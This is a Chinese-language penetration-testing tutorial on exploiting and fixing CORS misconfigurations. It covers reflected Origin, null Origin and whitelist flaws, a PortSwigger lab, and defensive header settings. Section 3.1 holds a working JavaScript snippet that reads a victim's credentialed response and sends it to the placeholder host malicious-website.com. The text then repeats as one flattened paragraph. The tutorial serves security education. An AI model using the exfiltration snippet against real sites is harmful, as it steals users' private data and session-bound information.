渗透测试中的CORS漏洞利用
字数 1808 2025-08-22 12:23:42

渗透测试中的CORS漏洞利用详解

1. CORS基础概念

1.1 什么是CORS(跨源资源共享)

跨源资源共享(CORS)是一种浏览器机制,允许对位于特定域外的资源进行受控访问。它扩展并增加了同源策略(SOP)的灵活性,但若配置不当,也可能为跨域攻击提供隐患。

1.2 同源策略(SOP)

同源策略是一种限制性规范,用于限制网站与源域之外的资源进行交互的能力。它主要特点包括:

  • 限制跨域交互以防止恶意网站窃取数据
  • 允许向其他域发出请求但不允许访问响应
  • 基于协议、域名和端口判断是否同源

2. CORS工作机制

2.1 CORS请求类型

  1. 简单请求:满足特定条件的GET/HEAD/POST请求
  2. 预检请求:不满足简单请求条件的请求会先发送OPTIONS请求

2.2 关键HTTP头

  • 请求头

    • Origin: 表明请求来源
    • Access-Control-Request-Method: 预检请求中声明实际请求方法
    • Access-Control-Request-Headers: 预检请求中声明实际请求头
  • 响应头

    • Access-Control-Allow-Origin (ACAO): 允许访问的源
    • Access-Control-Allow-Credentials: 是否允许携带凭证
    • Access-Control-Allow-Methods: 允许的方法
    • Access-Control-Allow-Headers: 允许的头部

3. CORS常见配置错误及漏洞利用

3.1 反射任意Origin的CORS漏洞

漏洞描述
服务器直接反射客户端提供的Origin头,未做任何过滤。

示例

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true

利用代码

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
    location='//malicious-website.com/log?key='+this.responseText;
};

3.2 Origin解析错误

漏洞描述
虽然使用了白名单机制,但存在解析错误,如:

  • 子域通配符过于宽松(*.example.com)
  • 未正确处理端口号
  • 正则表达式缺陷
  • 未验证协议(http/https)

3.3 信任null Origin

漏洞描述
服务器配置为信任null Origin,攻击者可通过沙盒iframe触发。

3.4 HTTPS域信任HTTP域

漏洞描述
服务器配置允许来自HTTP域的请求访问HTTPS资源,易受MITM攻击。

4. CORS漏洞利用实战

4.1 基本步骤

  1. 识别CORS配置

    • 检查响应中的CORS头
    • 尝试修改Origin头观察响应
  2. 测试配置弱点

    • 反射任意Origin
    • 尝试绕过白名单
    • 测试null Origin
    • 检查凭证处理
  3. 构建利用代码

    • 使用XMLHttpRequest或Fetch API
    • 处理响应数据

4.2 靶场示例

靶场地址
https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack

解决方案

  1. 修改Origin头为攻击者控制的域
  2. 确认服务器反射该Origin
  3. 构造恶意页面窃取用户数据

5. CORS安全防护

5.1 最佳实践

  1. 严格限制允许的Origin

    • 避免使用通配符*
    • 维护精确的白名单
    • 动态验证Origin头
  2. 正确处理凭证

    • 避免不必要的Access-Control-Allow-Credentials: true
    • 若必须使用凭证,严格限制Origin
  3. 限制允许的方法和头

    • 仅开放必要的方法
    • 限制自定义头
  4. 使用Vary头

    • Vary: Origin防止缓存污染

5.2 配置示例

安全配置

Access-Control-Allow-Origin: https://trusted.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Max-Age: 86400
Vary: Origin

避免的配置

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

6. 与其他漏洞的结合

CORS漏洞常与以下漏洞结合利用:

  • CSRF:绕过同源策略执行跨站请求
  • XSS:通过注入脚本利用宽松的CORS策略
  • JSON劫持:窃取JSON数据

7. 测试工具与方法

  1. 手动测试

    • 使用Burp Suite修改Origin头
    • 观察响应头变化
  2. 自动化工具

    • OWASP ZAP
    • Burp Scanner
    • Corsy等专用工具
  3. 浏览器开发者工具

    • 检查网络请求中的CORS头
    • 查看控制台错误信息

8. 总结

CORS是现代Web应用的重要机制,但错误配置可能导致严重安全问题。渗透测试人员应:

  1. 全面测试CORS实现
  2. 关注Origin处理逻辑
  3. 检查凭证处理方式
  4. 验证白名单实现
  5. 评估与其他漏洞的结合可能性

开发人员则应遵循最小权限原则,严格验证Origin,避免不必要的宽松配置。

渗透测试中的CORS漏洞利用详解 1. CORS基础概念 1.1 什么是CORS(跨源资源共享) 跨源资源共享(CORS)是一种浏览器机制,允许对位于特定域外的资源进行受控访问。它扩展并增加了同源策略(SOP)的灵活性,但若配置不当,也可能为跨域攻击提供隐患。 1.2 同源策略(SOP) 同源策略是一种限制性规范,用于限制网站与源域之外的资源进行交互的能力。它主要特点包括: 限制跨域交互以防止恶意网站窃取数据 允许向其他域发出请求但不允许访问响应 基于协议、域名和端口判断是否同源 2. CORS工作机制 2.1 CORS请求类型 简单请求 :满足特定条件的GET/HEAD/POST请求 预检请求 :不满足简单请求条件的请求会先发送OPTIONS请求 2.2 关键HTTP头 请求头 : Origin : 表明请求来源 Access-Control-Request-Method : 预检请求中声明实际请求方法 Access-Control-Request-Headers : 预检请求中声明实际请求头 响应头 : Access-Control-Allow-Origin (ACAO): 允许访问的源 Access-Control-Allow-Credentials : 是否允许携带凭证 Access-Control-Allow-Methods : 允许的方法 Access-Control-Allow-Headers : 允许的头部 3. CORS常见配置错误及漏洞利用 3.1 反射任意Origin的CORS漏洞 漏洞描述 : 服务器直接反射客户端提供的Origin头,未做任何过滤。 示例 : 利用代码 : 3.2 Origin解析错误 漏洞描述 : 虽然使用了白名单机制,但存在解析错误,如: 子域通配符过于宽松( *.example.com ) 未正确处理端口号 正则表达式缺陷 未验证协议(http/https) 3.3 信任null Origin 漏洞描述 : 服务器配置为信任 null Origin,攻击者可通过沙盒iframe触发。 3.4 HTTPS域信任HTTP域 漏洞描述 : 服务器配置允许来自HTTP域的请求访问HTTPS资源,易受MITM攻击。 4. CORS漏洞利用实战 4.1 基本步骤 识别CORS配置 检查响应中的CORS头 尝试修改Origin头观察响应 测试配置弱点 反射任意Origin 尝试绕过白名单 测试null Origin 检查凭证处理 构建利用代码 使用XMLHttpRequest或Fetch API 处理响应数据 4.2 靶场示例 靶场地址 : https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack 解决方案 : 修改Origin头为攻击者控制的域 确认服务器反射该Origin 构造恶意页面窃取用户数据 5. CORS安全防护 5.1 最佳实践 严格限制允许的Origin 避免使用通配符 * 维护精确的白名单 动态验证Origin头 正确处理凭证 避免不必要的 Access-Control-Allow-Credentials: true 若必须使用凭证,严格限制Origin 限制允许的方法和头 仅开放必要的方法 限制自定义头 使用Vary头 Vary: Origin 防止缓存污染 5.2 配置示例 安全配置 : 避免的配置 : 6. 与其他漏洞的结合 CORS漏洞常与以下漏洞结合利用: CSRF:绕过同源策略执行跨站请求 XSS:通过注入脚本利用宽松的CORS策略 JSON劫持:窃取JSON数据 7. 测试工具与方法 手动测试 : 使用Burp Suite修改Origin头 观察响应头变化 自动化工具 : OWASP ZAP Burp Scanner Corsy等专用工具 浏览器开发者工具 : 检查网络请求中的CORS头 查看控制台错误信息 8. 总结 CORS是现代Web应用的重要机制,但错误配置可能导致严重安全问题。渗透测试人员应: 全面测试CORS实现 关注Origin处理逻辑 检查凭证处理方式 验证白名单实现 评估与其他漏洞的结合可能性 开发人员则应遵循最小权限原则,严格验证Origin,避免不必要的宽松配置。